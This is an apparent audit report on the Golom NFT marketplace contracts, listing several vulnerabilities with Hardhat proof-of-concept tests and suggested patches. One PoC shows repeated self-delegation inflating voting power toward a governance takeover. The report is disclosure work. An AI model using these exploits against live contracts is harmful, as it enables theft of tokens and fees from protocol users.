Golom contest - 0xA5DF's results

Lines of code

https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L300

Vulnerability details

Impact

This means there's no way to set the RewardDistributor.ve variable. This will cause all stakers rewards (ETH + GOLOM) to be lost, since stakers can't claim their reward if ve is not set. The devs would have to replace GolomTrader.distributor (and also the GolomToken.minter). This will take at least an additional day (since you have to wait 1 day between running setDistributor and executeSetDistributor). While all reward collected in the previous distributor would be lost.

This would probably be discovered soon after the deployment, but there's a chance it will take a day or two since this only affects the staker reward, and you can't claim that in the first day.

Proof of Concept

Both of the following tests would fail, whether you run executeAddVoteEscrow or not.

import { ethers } from 'hardhat';
import { Signer } from 'ethers';
import chai from 'chai';
const { expect } = chai;


// import artifacts
const GolomTraderArtifacts = ethers.getContractFactory('GolomTrader');
const RewardDistributorArtifacts = ethers.getContractFactory('RewardDistributor');
let VoteEscrowArtifacts;
const GolomTokenArtifacts = ethers.getContractFactory('GolomToken');
const TokenUriHelperLibArtifacts = ethers.getContractFactory('TokenUriHelper');

const WETHArtifacts = ethers.getContractFactory('WETH');

// import typings
import { GolomTrader as GolomTraderTypes } from '../../typechain/GolomTrader';
import { RewardDistributor as RewardDistributorTypes } from '../../typechain/RewardDistributor';
import { VoteEscrow as VoteEscrowTypes } from '../../typechain/VoteEscrow';
import { GolomToken as GolomTokenTypes } from '../../typechain/GolomToken';

import { WETH as WETHTypes } from '../../typechain/WETH';

let weth: WETHTypes;
let golomTrader: GolomTraderTypes;
let voteEscrow: VoteEscrowTypes;
let golomToken: GolomTokenTypes;
let rewardDistributor: RewardDistributorTypes;

let accounts: Signer[];
let governance: Signer;

describe('RewardDistributor.sol', function () {
    beforeEach(async function () {
        accounts = await ethers.getSigners();
        governance = accounts[5];

        const TokenUriHelperLib = (await (await TokenUriHelperLibArtifacts).deploy()) as any;
        VoteEscrowArtifacts = ethers.getContractFactory('VoteEscrow', { libraries: { TokenUriHelper: TokenUriHelperLib.address } });
        
        golomTrader = (await (await GolomTraderArtifacts).deploy(await governance.getAddress())) as GolomTraderTypes;
        golomToken = (await (await GolomTokenArtifacts).deploy(await governance.getAddress())) as GolomTokenTypes;
        voteEscrow = (await (await VoteEscrowArtifacts).deploy(golomToken.address)) as VoteEscrowTypes;
        weth = (await (await WETHArtifacts).deploy()) as WETHTypes;
        

        rewardDistributor = (await (
            await RewardDistributorArtifacts
        ).deploy(
            weth.address,
            golomTrader.address,
            golomToken.address,
            await governance.getAddress()
        )) as RewardDistributorTypes;

    });

    describe('#addVoteEscrow', async () => {
        it('With executeAddVoteEscrow', async () => {
            await rewardDistributor.connect(governance).addVoteEscrow(voteEscrow.address);
            await rewardDistributor.connect(governance).executeAddVoteEscrow();

            const voteEscrowAddress = await rewardDistributor.ve();

            expect(voteEscrowAddress).to.equal(voteEscrow.address);
        });

        it('addVoteEscrow alone', async () => {
            await rewardDistributor.connect(governance).addVoteEscrow(voteEscrow.address);

            const voteEscrowAddress = await rewardDistributor.ve();

            expect(voteEscrowAddress).to.equal(voteEscrow.address);
        });
    });

});

Tools Used

Hardhat

Recommended Mitigation Steps

Fix: (I guess this is what the dev meant, to set it now without waiting) After this fix the second test will pass.

     function addVoteEscrow(address _voteEscrow) external onlyOwner {
         if (address(ve) == address(0)) {
-            ve = VE(pendingVoteEscrow);
+            ve = VE(_voteEscrow);
         } else {

Lines of code

https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/vote-escrow/VoteEscrowDelegation.sol#L213 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/vote-escrow/VoteEscrowDelegation.sol#L101

Vulnerability details

This bug exists in the following functions:

• removeDelegation:
  • Checkpoint storage checkpoint = checkpoints[tokenId][nCheckpoints - 1];
• _writeCheckpoint:
  • Checkpoint memory oldCheckpoint = checkpoints[toTokenId][nCheckpoints - 1];

In both cases nCheckpoints is a uint256 which might be zero, causing the function to revert in case of an underflow. Since the only way to increase nCheckpoints is via _writeCheckpoint, that means there's no way for the user to circumvent this bug. This will just revert any function that depends on _writeCheckpoint:

• delegate
• removeDelegation
• _transferFrom which relies on removeDelegation

Impact

• There's no way to delegate veGOLOM
  • With no delegation the whole voting system wouldn't work, since the token doesn't even hold its own voting power without delegating it to itself (as demonstrated in the PoC)
• There's no way to transfer veGOLOM tokens
  • Since _transferFrom relies on removeDelegation, as said above

Proof of Concept

In the following PoC I'm trying to transfer and to delegate, both of them will fail. There's also another test that shows that without delegation the token has zero power (this is not a bug, this is just to demonstrate the impact. the test will succeed).

Output form the test attached below.

import { ethers, waffle } from 'hardhat';
import { BigNumber, utils, Signer, constants } from 'ethers';
import chai from 'chai';
const { expect } = chai;

// import artifacts
const GolomTraderArtifacts = ethers.getContractFactory('GolomTrader');
const RewardDistributorArtifacts = ethers.getContractFactory('RewardDistributor');
let VoteEscrowArtifacts;
const GolomTokenArtifacts = ethers.getContractFactory('GolomToken');
const TokenUriHelperLibArtifacts = ethers.getContractFactory('TokenUriHelper');


const ERC721MockArtifacts = ethers.getContractFactory('ERC721Mock');
const ERC1155MockArtifacts = ethers.getContractFactory('ERC1155Mock');
const ERC20MockArtifacts = ethers.getContractFactory('ERC20Mock');
const WETHArtifacts = ethers.getContractFactory('WETH');

// import typings
import { GolomTrader as GolomTraderTypes } from '../../typechain/GolomTrader';
import { RewardDistributor as RewardDistributorTypes } from '../../typechain/RewardDistributor';
import { VoteEscrow as VoteEscrowTypes } from '../../typechain/VoteEscrow';
import { GolomToken as GolomTokenTypes } from '../../typechain/GolomToken';

import { ERC721Mock as ERC721MockTypes } from '../../typechain/ERC721Mock';
import { ERC1155Mock as ERC1155MockTypes } from '../../typechain/ERC1155Mock';
import { ERC20Mock as ERC20MockTypes } from '../../typechain/ERC20Mock';
import { WETH as WETHTypes } from '../../typechain/WETH';

let testErc20: ERC20MockTypes;
let testErc721: ERC721MockTypes;
let testErc1155: ERC1155MockTypes;
export let weth: WETHTypes;

let golomTrader: GolomTraderTypes;
let voteEscrow: VoteEscrowTypes;
let golomToken: GolomTokenTypes;
let rewardDistributor: RewardDistributorTypes;

let accounts: Signer[];
let governance: Signer;
let stakers: Signer[];
let maker: any;
let tokenIDs: any[] = [];


describe('Transferring veGOLOM', function () {
    beforeEach(async function () {
        accounts = await ethers.getSigners();
        maker = accounts[0];
        governance = accounts[5];
        stakers = accounts.slice(6, 11);


        testErc20 = (await (await ERC20MockArtifacts).deploy()) as ERC20MockTypes;
        testErc721 = (await (await ERC721MockArtifacts).deploy()) as ERC721MockTypes;
        testErc1155 = (await (await ERC1155MockArtifacts).deploy()) as ERC1155MockTypes;
        weth = (await (await WETHArtifacts).deploy()) as WETHTypes;

        // deploy trader contract
        golomTrader = (await (await GolomTraderArtifacts).deploy(await governance.getAddress())) as GolomTraderTypes;
        golomToken = (await (await GolomTokenArtifacts).deploy(await governance.getAddress())) as GolomTokenTypes;


        const TokenUriHelperLib = (await (await TokenUriHelperLibArtifacts).deploy()) as any;
        VoteEscrowArtifacts = ethers.getContractFactory('VoteEscrow', { libraries: { TokenUriHelper: TokenUriHelperLib.address } });
        voteEscrow = (await (await VoteEscrowArtifacts).deploy(golomToken.address)) as VoteEscrowTypes;


        rewardDistributor = (await (
            await RewardDistributorArtifacts
        ).deploy(
            weth.address,
            golomTrader.address,
            golomToken.address,
            await governance.getAddress()
        )) as RewardDistributorTypes;

        await golomToken.connect(governance).mintGenesisReward(await governance.getAddress());
        await golomToken.connect(governance).setMinter(rewardDistributor.address);
        await golomToken.connect(governance).executeSetMinter();

        await rewardDistributor.connect(governance).addVoteEscrow(voteEscrow.address);

        // set distributor
        await golomTrader.connect(governance).setDistributor(rewardDistributor.address);
        // await golomTrader.connect(governance).executeSetDistributor();

        await testErc721.mint(await maker.getAddress());
        await testErc721.connect(maker).setApprovalForAll(golomTrader.address, true);
        await testErc1155.connect(maker).setApprovalForAll(golomTrader.address, true);

        let totalGenesis = await golomToken.balanceOf(await governance.getAddress());
        let shares = [0.2, 0.45, 0.35];
        const yearInSecs = 365 * 24 * 60 * 60;

        // give away some $GOLOM and lock it for some veGOLOM
        for (let i = 0; i < 3; i++) {
            const amount = totalGenesis.toBigInt() * BigInt(100 * shares[i]) / 100n;
            await golomToken.connect(governance).transfer(await stakers[i].getAddress(), amount);
            await golomToken.connect(stakers[i]).approve(voteEscrow.address, amount * 10n);
            let tx = await voteEscrow.connect(stakers[i]).create_lock(amount, 2 * yearInSecs);
            let receipt = await tx.wait();
            let tokenID = receipt.events?.filter(x => x.event == "Deposit")[0].args?.tokenId;
            tokenIDs[i] = tokenID;

        }

    });

    it('should transfer veGOLOM', async () => {

        let threeStakers = stakers.slice(0, 3);
        let [bob, alice, eve] = threeStakers;

        // try to transfer Bob's veGOLOM to Alice
        await voteEscrow.connect(bob).transferFrom(await bob.getAddress(), await alice.getAddress(), tokenIDs[0]);

    });

    it('should delegate veGOLOM', async () => {

        let threeStakers = stakers.slice(0, 3);
        let [bob, alice, eve] = threeStakers;
        const [bobTokenID, aliceTokenID] = tokenIDs;

        // try to transfer Bob's veGOLOM to Alice
        await voteEscrow.connect(bob).delegate(bobTokenID, aliceTokenID);

    });

    it('Bob has zero voting power', async () => {
        // just to demonstrate the without delegation no one has any voting power
        let threeStakers = stakers.slice(0, 3);
        let [bob, alice, eve] = threeStakers;
        const [bobTokenID, aliceTokenID] = tokenIDs;

        const bobVotingPower = await voteEscrow.connect(bob).getVotes(bobTokenID);

        chai.assert.equal(bobVotingPower.toString(), "0");
        // try to transfer Bob's veGOLOM to Alice

    });

});

Test output:

  Transferring veGOLOM
    1) should transfer veGOLOM
    2) should delegate veGOLOM
    ✔ Bob has zero voting power


  1 passing (2s)
  2 failing

  1) Transferring veGOLOM
       should transfer veGOLOM:
     Error: VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation underflowed or overflowed outside of an unchecked block)
    at VoteEscrow.removeDelegation (contracts/vote-escrow/VoteEscrowDelegation.sol:213)
    at VoteEscrow._transferFrom (contracts/vote-escrow/VoteEscrowDelegation.sol:242)
    at VoteEscrow.transferFrom (contracts/vote-escrow/VoteEscrowCore.sol:571)
    at async HardhatNode._mineBlockWithPendingTxs (node_modules/hardhat/src/internal/hardhat-network/provider/node.ts:1772:23)
    at async HardhatNode.mineBlock (node_modules/hardhat/src/internal/hardhat-network/provider/node.ts:466:16)
    at async EthModule._sendTransactionAndReturnHash (node_modules/hardhat/src/internal/hardhat-network/provider/modules/eth.ts:1496:18)
    at async HardhatNetworkProvider.request (node_modules/hardhat/src/internal/hardhat-network/provider/provider.ts:118:18)
    at async EthersProviderWrapper.send (node_modules/@nomiclabs/hardhat-ethers/src/internal/ethers-provider-wrapper.ts:13:20)
  

  2) Transferring veGOLOM
       should delegate veGOLOM:
     Error: VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation underflowed or overflowed outside of an unchecked block)
    at VoteEscrow._writeCheckpoint (contracts/vote-escrow/VoteEscrowDelegation.sol:101)
    at VoteEscrow.delegate (contracts/vote-escrow/VoteEscrowDelegation.sol:85)
    at async HardhatNode._mineBlockWithPendingTxs (node_modules/hardhat/src/internal/hardhat-network/provider/node.ts:1772:23)
    at async HardhatNode.mineBlock (node_modules/hardhat/src/internal/hardhat-network/provider/node.ts:466:16)
    at async EthModule._sendTransactionAndReturnHash (node_modules/hardhat/src/internal/hardhat-network/provider/modules/eth.ts:1496:18)
    at async HardhatNetworkProvider.request (node_modules/hardhat/src/internal/hardhat-network/provider/provider.ts:118:18)
    at async EthersProviderWrapper.send (node_modules/@nomiclabs/hardhat-ethers/src/internal/ethers-provider-wrapper.ts:13:20)
  

Note: this is after fixing another bug in _transferFrom:

     /// @param tokenId TokenId of which delegation needs to be removed
-    function removeDelegation(uint256 tokenId) external {
+    function removeDelegation(uint256 tokenId) public {
         require(ownerOf(tokenId) == msg.sender, 'VEDelegation: Not allowed');

@@ -239,7 +245,7 @@ contract VoteEscrow is VoteEscrowCore, Ownable {

         // remove the delegation
-        this.removeDelegation(_tokenId);
+        removeDelegation(_tokenId);
 
         // Check requirements

Tools Used

Hardhat

Recommended Mitigation Steps

For removeDelegation: In case that nCheckpoints == 0 there's no delegation to remove, so we can return.

    function removeDelegation(uint256 tokenId) public {
         require(ownerOf(tokenId) == msg.sender, 'VEDelegation: Not allowed');
         uint256 nCheckpoints = numCheckpoints[tokenId];
+        if(nCheckpoints == 0){
+            return;
+        }
         Checkpoint storage checkpoint = checkpoints[tokenId][nCheckpoints - 1];
         removeElement(checkpoint.delegatedTokenIds, tokenId);

For _writeCheckpoint: Load oldCheckpoint only if nCheckpoints > 0, otherwise it isn't used anyways.

    function _writeCheckpoint(
        uint256 toTokenId,
        uint256 nCheckpoints,
        uint256[] memory _delegatedTokenIds
    ) internal {
        require(_delegatedTokenIds.length < 500, 'VVDelegation: Cannot stake more');

 
-        Checkpoint memory oldCheckpoint = checkpoints[toTokenId][nCheckpoints - 1];
+        Checkpoint memory oldCheckpoint;
+        if(nCheckpoints > 0){
+            oldCheckpoint = checkpoints[toTokenId][nCheckpoints - 1];
+        }
 
        if (nCheckpoints > 0 && oldCheckpoint.fromBlock == block.number) {
            oldCheckpoint.delegatedTokenIds = _delegatedTokenIds;
        } else {
            checkpoints[toTokenId][nCheckpoints] = Checkpoint(block.number, _delegatedTokenIds);
            numCheckpoints[toTokenId] = nCheckpoints + 1;
        }
    }

Lines of code

https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/vote-escrow/VoteEscrowDelegation.sol#L71-L89

Vulnerability details

VoteEscrowDelegation.delegate doesn't remove the old delegation, making it possible to delegate the same token to as many tokens as you'd like, as many times as you'd like (e.g. you can delegate it to itself 100 times, as shown in PoC).

Impact

A user can multiply his voting power as much as he'd like. That means that a holder of a small fraction of voting power can actually gain the majority of the voting power. Since the governance of the protocol is intended to be controlled by a voting contract which uses VoteEscrow to calculate voting power, that means that if an attacker gains a majority of voting power he can gain ownership over the contracts (by proposing a transferOwnership for each contract, and then using his voting power to vote for the proposal).

The following contracts are Ownable:

• GolomToken - allows to set minter and mint as many GolomTokens as you'd like

• GolomTrader - let's you set the distributor, this can be used to rob the fees or to halt trading by setting it to a random address without a contract

• RewardDistributor - let's you change the trader and vote escrow, helping the attacker to steal any ETH balance left

• VoteEscrow (can only change MIN_VOTING_POWER_REQUIRED, not significant)

• Once the attacker proposed his takeover, there's nothing other users can do to stop him. Even if they use the same bug to multiply their voting power, that wouldn't help since the voting power that counts for the proposal is the voting power that was during the block of the proposal, and that can't change after the proposal was made.

• The only thing they can do is to withdraw their ETH rewards and stop trading using the current GolomTrader, but the whole $GOLOM token will become worthless since the attacker will eventually will be able to ming as many as he'd like of them.

Sidenote: While GovernanceBravo.sol is out of scope, I think it's fair to discuss the impact on the system even for out of scope contracts. I guess out of scope doesn't means we should assume the system is functioning without that contract, but that it isn't ready for an audit yet. In this case - even if we assume GovernanceBravo.sol has passed all audits, is functioning as expected and has zero bugs in it - the impact of this bug wouldn't change.

Proof of Concept

In the following PoC Bob gets only 1% of the veGOLOM tokens, but still manages to get a majority of the voting power. (test passing = bug exists)

import { ethers } from 'hardhat';
import { Signer } from 'ethers';
import chai from 'chai';

// import artifacts
const GolomTraderArtifacts = ethers.getContractFactory('GolomTrader');
const RewardDistributorArtifacts = ethers.getContractFactory('RewardDistributor');
let VoteEscrowArtifacts;
const GolomTokenArtifacts = ethers.getContractFactory('GolomToken');
const TokenUriHelperLibArtifacts = ethers.getContractFactory('TokenUriHelper');
const WETHArtifacts = ethers.getContractFactory('WETH');

// import typings
import { GolomTrader as GolomTraderTypes } from '../../typechain/GolomTrader';
import { RewardDistributor as RewardDistributorTypes } from '../../typechain/RewardDistributor';
import { VoteEscrow as VoteEscrowTypes } from '../../typechain/VoteEscrow';
import { GolomToken as GolomTokenTypes } from '../../typechain/GolomToken';

import { WETH as WETHTypes } from '../../typechain/WETH';
export let weth: WETHTypes;

let golomTrader: GolomTraderTypes;
let voteEscrow: VoteEscrowTypes;
let golomToken: GolomTokenTypes;
let rewardDistributor: RewardDistributorTypes;

let accounts: Signer[];
let governance: Signer;
let stakers: Signer[];

describe('VoteEscrow delegation PoC', function () {
    beforeEach(async function () {
        accounts = await ethers.getSigners();
        governance = accounts[5];
        stakers = accounts.slice(6, 11);

        weth = (await (await WETHArtifacts).deploy()) as WETHTypes;

        // deploy trader contract
        golomTrader = (await (await GolomTraderArtifacts).deploy(await governance.getAddress())) as GolomTraderTypes;
        golomToken = (await (await GolomTokenArtifacts).deploy(await governance.getAddress())) as GolomTokenTypes;

        const TokenUriHelperLib = (await (await TokenUriHelperLibArtifacts).deploy()) as any;
        VoteEscrowArtifacts = ethers.getContractFactory('VoteEscrow', { libraries: { TokenUriHelper: TokenUriHelperLib.address } });
        voteEscrow = (await (await VoteEscrowArtifacts).deploy(golomToken.address)) as VoteEscrowTypes;

        rewardDistributor = (await (
            await RewardDistributorArtifacts
        ).deploy(
            weth.address,
            golomTrader.address,
            golomToken.address,
            await governance.getAddress()
        )) as RewardDistributorTypes;

        await golomToken.connect(governance).mintGenesisReward(await governance.getAddress());
        await golomToken.connect(governance).setMinter(rewardDistributor.address);
        await golomToken.connect(governance).executeSetMinter();

        await rewardDistributor.connect(governance).addVoteEscrow(voteEscrow.address);

        // set distributor
        await golomTrader.connect(governance).setDistributor(rewardDistributor.address);
        // await golomTrader.connect(governance).executeSetDistributor();
    });

    it('should create locks', async () => {
        let totalGenesis = await golomToken.balanceOf(await governance.getAddress());
        let [bob, alice] = stakers;
        const yearInSecs = 365 * 24 * 60 * 60;
        let tokenIDs: any[] = [];

        // spread the governance's $GOLOM balance, 99% to alice and 1% to bob
        // afterwards lock that balance for both of them for 4 years
        let shares = [0.01, 0.99];
        for (let i = 0; i < shares.length; i++) {
            const amount = totalGenesis.toBigInt() * BigInt(100 * shares[i]) / 100n;
            await golomToken.connect(governance).transfer(await stakers[i].getAddress(), amount);
            await golomToken.connect(stakers[i]).approve(voteEscrow.address, amount * 10n);
            let tx = await voteEscrow.connect(stakers[i]).create_lock(amount, 4 * yearInSecs);
            let receipt = await tx.wait();
            let tokenID = receipt.events?.filter(x => x.event == "Deposit")[0].args?.tokenId;
            tokenIDs[i] = tokenID;
        }

        const [bobTokenID, aliceTokenID] = tokenIDs;

        // delegate Alice's token to itself once, otherwise its voting power would be zero
        await voteEscrow.connect(alice).delegate(aliceTokenID, aliceTokenID);

        // delegate Bob's token to itself a 100 times, that would give him a
        // 100 times voting power than he should have
        for (let i = 0; i < 100; i++) {
            await voteEscrow.connect(bob).delegate(bobTokenID, bobTokenID);
        }

        let bobVotingPower = (await voteEscrow.getVotes(bobTokenID)).toBigInt();
        let aliceVotePower = (await voteEscrow.getVotes(aliceTokenID)).toBigInt();
        console.log({ bobVotingPower, aliceVotePower });

        const [bobStakingBalance, aliceStakingBalance] = await Promise.all(
            tokenIDs.map(async (tid) => {
                const balanceBigNumber = await voteEscrow.balanceOfNFT(tid);
                return balanceBigNumber.toBigInt();
            }));

        console.log({ bobStakingBalance, aliceStakingBalance });

        // assert that Bob has more voting power than alice
        chai.assert(bobVotingPower > aliceVotePower);
        // even though he has 1/99 of Alice's staking balance (using less-equal due to rounding that gives Bob a bit less than 1/99)
        chai.assert(bobStakingBalance * 99n <= aliceStakingBalance);

    });
});

Tools Used

Hardhat

Recommended Mitigation Steps

Remove old delegation before delegating to the new delegatee Side note: removeDelegation also has some bugs (which I reported separately), so you'll need to fix them for this fix to work :)

    function delegate(uint256 tokenId, uint256 toTokenId) external {
        require(ownerOf(tokenId) == msg.sender, 'VEDelegation: Not allowed');
        require(this.balanceOfNFT(tokenId) >= MIN_VOTING_POWER_REQUIRED, 'VEDelegation: Need more voting power');
 
+        removeDelegation(tokenId);
         delegates[tokenId] = toTokenId;

Lines of code

https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/vote-escrow/VoteEscrowDelegation.sol#L242

Vulnerability details

The function VoteEscrow._transferFrom uses this.removeDelegation(_tokenId) instead of removeDelegation(_tokenId), which means the call is an external call which changes the msg.sender to the contract's address. And since removeDelegation requires the sender to be the owner of the _tokenId, this means the _transferFrom function will revert in any case, blocking any transfer.

Impact

veGOLOM (the NFT managed by VoteEscrow contract) will not be transferrable, which means you can only hold it in the addresses you've minted it to but not sell or send it to anybody else.

Proof of Concept

the following test will revert with VEDelegation: Not allowed '(which is the error removeDelegation throws when msg.sender is not the owner)

import { ethers, waffle } from 'hardhat';
import { BigNumber, utils, Signer, constants } from 'ethers';
import chai from 'chai';
const { expect } = chai;

// import artifacts
const GolomTraderArtifacts = ethers.getContractFactory('GolomTrader');
const RewardDistributorArtifacts = ethers.getContractFactory('RewardDistributor');
let VoteEscrowArtifacts;
const GolomTokenArtifacts = ethers.getContractFactory('GolomToken');
const TokenUriHelperLibArtifacts = ethers.getContractFactory('TokenUriHelper');


const ERC721MockArtifacts = ethers.getContractFactory('ERC721Mock');
const ERC1155MockArtifacts = ethers.getContractFactory('ERC1155Mock');
const ERC20MockArtifacts = ethers.getContractFactory('ERC20Mock');
const WETHArtifacts = ethers.getContractFactory('WETH');

// import typings
import { GolomTrader as GolomTraderTypes } from '../../typechain/GolomTrader';
import { RewardDistributor as RewardDistributorTypes } from '../../typechain/RewardDistributor';
import { VoteEscrow as VoteEscrowTypes } from '../../typechain/VoteEscrow';
import { GolomToken as GolomTokenTypes } from '../../typechain/GolomToken';

import { ERC721Mock as ERC721MockTypes } from '../../typechain/ERC721Mock';
import { ERC1155Mock as ERC1155MockTypes } from '../../typechain/ERC1155Mock';
import { ERC20Mock as ERC20MockTypes } from '../../typechain/ERC20Mock';
import { WETH as WETHTypes } from '../../typechain/WETH';

let testErc20: ERC20MockTypes;
let testErc721: ERC721MockTypes;
let testErc1155: ERC1155MockTypes;
export let weth: WETHTypes;

let golomTrader: GolomTraderTypes;
let voteEscrow: VoteEscrowTypes;
let golomToken: GolomTokenTypes;
let rewardDistributor: RewardDistributorTypes;

let accounts: Signer[];
let governance: Signer;
let stakers: Signer[];
let maker: any;
let taker: any;
let exchange: any;
let prepay: any;
let postpay: any;


let genesisStartTime: number;

describe('Transferring veGOLOM', function () {
    beforeEach(async function () {
        accounts = await ethers.getSigners();
        maker = accounts[0];
        taker = accounts[1];
        exchange = accounts[2];
        prepay = accounts[3];
        postpay = accounts[4];
        governance = accounts[5];
        stakers = accounts.slice(6, 11);


        testErc20 = (await (await ERC20MockArtifacts).deploy()) as ERC20MockTypes;
        testErc721 = (await (await ERC721MockArtifacts).deploy()) as ERC721MockTypes;
        testErc1155 = (await (await ERC1155MockArtifacts).deploy()) as ERC1155MockTypes;
        weth = (await (await WETHArtifacts).deploy()) as WETHTypes;

        // deploy trader contract
        golomTrader = (await (await GolomTraderArtifacts).deploy(await governance.getAddress())) as GolomTraderTypes;
        golomToken = (await (await GolomTokenArtifacts).deploy(await governance.getAddress())) as GolomTokenTypes;


        const TokenUriHelperLib = (await (await TokenUriHelperLibArtifacts).deploy()) as any;
        VoteEscrowArtifacts = ethers.getContractFactory('VoteEscrow', { libraries: { TokenUriHelper: TokenUriHelperLib.address } });
        voteEscrow = (await (await VoteEscrowArtifacts).deploy(golomToken.address)) as VoteEscrowTypes;

        genesisStartTime = Math.floor(Date.now() / 1000);

        rewardDistributor = (await (
            await RewardDistributorArtifacts
        ).deploy(
            weth.address,
            golomTrader.address,
            golomToken.address,
            await governance.getAddress()
        )) as RewardDistributorTypes;



        await golomToken.connect(governance).mintGenesisReward(await governance.getAddress());
        await golomToken.connect(governance).setMinter(rewardDistributor.address);
        await golomToken.connect(governance).executeSetMinter();

        await rewardDistributor.connect(governance).addVoteEscrow(voteEscrow.address);

        // set distributor
        await golomTrader.connect(governance).setDistributor(rewardDistributor.address);
        // await golomTrader.connect(governance).executeSetDistributor();

        await testErc721.mint(await maker.getAddress());
        await testErc721.connect(maker).setApprovalForAll(golomTrader.address, true);
        await testErc1155.connect(maker).setApprovalForAll(golomTrader.address, true);
    });

    it('should transfer veGOLOM', async () => {
        let totalGenesis = await golomToken.balanceOf(await governance.getAddress());
        let threeStakers = stakers.slice(0, 3);
        let [bob, alice, eve] = threeStakers;
        let shares = [0.2, 0.45, 0.35];
        const yearInSecs = 365 * 24 * 60 * 60;
        let tokenIDs: any[] = [];

        // give away some $GOLOM and lock it for some veGOLOM
        for (let i = 0; i < 3; i++) {
            const amount = totalGenesis.toBigInt() * BigInt(100 * shares[i]) / 100n;
            await golomToken.connect(governance).transfer(await stakers[i].getAddress(), amount);
            await golomToken.connect(stakers[i]).approve(voteEscrow.address, amount * 10n);
            let tx = await voteEscrow.connect(stakers[i]).create_lock(amount , 2 * yearInSecs);
            let receipt = await tx.wait();
            let tokenID = receipt.events?.filter(x => x.event == "Deposit")[0].args?.tokenId;
            tokenIDs[i] = tokenID;

        }
        // try to transfer Bob's veGOLOM to Alice
        await voteEscrow.connect(bob).transferFrom(await bob.getAddress(), await alice.getAddress(), tokenIDs[0]);
   
    });
});

Tools Used

Hardhat

Recommended Mitigation Steps

Change the visibility of removeDelegation from external to public, and use an internal call instead of an external one.

     /// @param tokenId TokenId of which delegation needs to be removed
-    function removeDelegation(uint256 tokenId) external {
+    function removeDelegation(uint256 tokenId) public {
         require(ownerOf(tokenId) == msg.sender, 'VEDelegation: Not allowed');

@@ -239,7 +245,7 @@ contract VoteEscrow is VoteEscrowCore, Ownable {

         // remove the delegation
-        this.removeDelegation(_tokenId);
+        removeDelegation(_tokenId);
 
         // Check requirements

Lines of code

https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/vote-escrow/VoteEscrowDelegation.sol#L78-L82 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/vote-escrow/VoteEscrowDelegation.sol#L198-L206 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/vote-escrow/VoteEscrowDelegation.sol#L213 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/vote-escrow/VoteEscrowDelegation.sol#L101-L105

Vulnerability details

https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/vote-escrow/VoteEscrowDelegation.sol#L78-L82 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/vote-escrow/VoteEscrowDelegation.sol#L198-L206 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/vote-escrow/VoteEscrowDelegation.sol#L213

storage used in VoteEscrow, modifying data it shouldn't, and vice versa

In both the functions delegate and removeDelegation (and removeElement), a storage var is used, causing to modify the old checkpoint too.

In _writeCheckpoint, it's the other way around - memory is used in case that nCheckpoints > 0 && oldCheckpoint.fromBlock == block.number is true and therefore the modification which should be saved to storage - isn't saved:

        Checkpoint memory oldCheckpoint = checkpoints[toTokenId][nCheckpoints - 1];

        if (nCheckpoints > 0 && oldCheckpoint.fromBlock == block.number) {
            oldCheckpoint.delegatedTokenIds = _delegatedTokenIds;
        }

Impact

• In case of delegate it will add delegation to previous checkpoint, giving the delegatee more voting power than it should have in previous blocks.
• In case of removeDelegation it will remove delegation from previous checkpoint, giving the delegatee less voting power that he should have.

The bug in _writeCheckpoint will only 'work' once the other bugs are fixed, but once that's done the impact can be high:

• This will fail to remove or add delegation, in case the delegatee's checkpoint was already modified this block.
• An attacker can use this to multiplying his delegation power endlessly, by adding a delegation and removing it in the same block (using a contract to run those 2 functions in the same tx). The delegation will succeed but the removal will fail, this way each time this runs the user delegates again the same token.
• Once the attacker uses this to gain the majority of voting power, he can propose a vote to transfer ownership of contracts to himself, and once that is done he can mint as much tokens as he'd like to himself etc. (I've elaborated more on this in another bug).
• This might also affect innocent users delegating to the same delegatee in the same block etc.

Proof of Concept

These tests have PoC for all 3 bugs. The first test demonstrate the first 2 bugs when storage is used - Bob delegates his token to Alice's token and then removes it. When we look at the voting power of Alice in previous checkpoints it turns out that right after delegation Bob's token isn't actually delegated to her's. While after removal it actually is delegated to her.

The 2 other test demonstrate the bug where memory is used at _writeCheckpoint, in the first Bob manages to delegate his token 100 times to Alice, and in the last test innocent users are trying to delegate their tokens to the same token at the same block and fail (only the first token manages to delegate).

import { ethers, waffle } from 'hardhat';
import { BigNumber, utils, Signer, constants, ContractTransaction } from 'ethers';
import chai from 'chai';
const { expect } = chai;

// import artifacts
const GolomTraderArtifacts = ethers.getContractFactory('GolomTrader');
const RewardDistributorArtifacts = ethers.getContractFactory('RewardDistributor');
let VoteEscrowArtifacts;
const GolomTokenArtifacts = ethers.getContractFactory('GolomToken');
const TokenUriHelperLibArtifacts = ethers.getContractFactory('TokenUriHelper');


const ERC721MockArtifacts = ethers.getContractFactory('ERC721Mock');
const ERC1155MockArtifacts = ethers.getContractFactory('ERC1155Mock');
const ERC20MockArtifacts = ethers.getContractFactory('ERC20Mock');
const WETHArtifacts = ethers.getContractFactory('WETH');

// import typings
import { GolomTrader as GolomTraderTypes } from '../../typechain/GolomTrader';
import { RewardDistributor as RewardDistributorTypes } from '../../typechain/RewardDistributor';
import { VoteEscrow as VoteEscrowTypes } from '../../typechain/VoteEscrow';
import { GolomToken as GolomTokenTypes } from '../../typechain/GolomToken';

import { ERC721Mock as ERC721MockTypes } from '../../typechain/ERC721Mock';
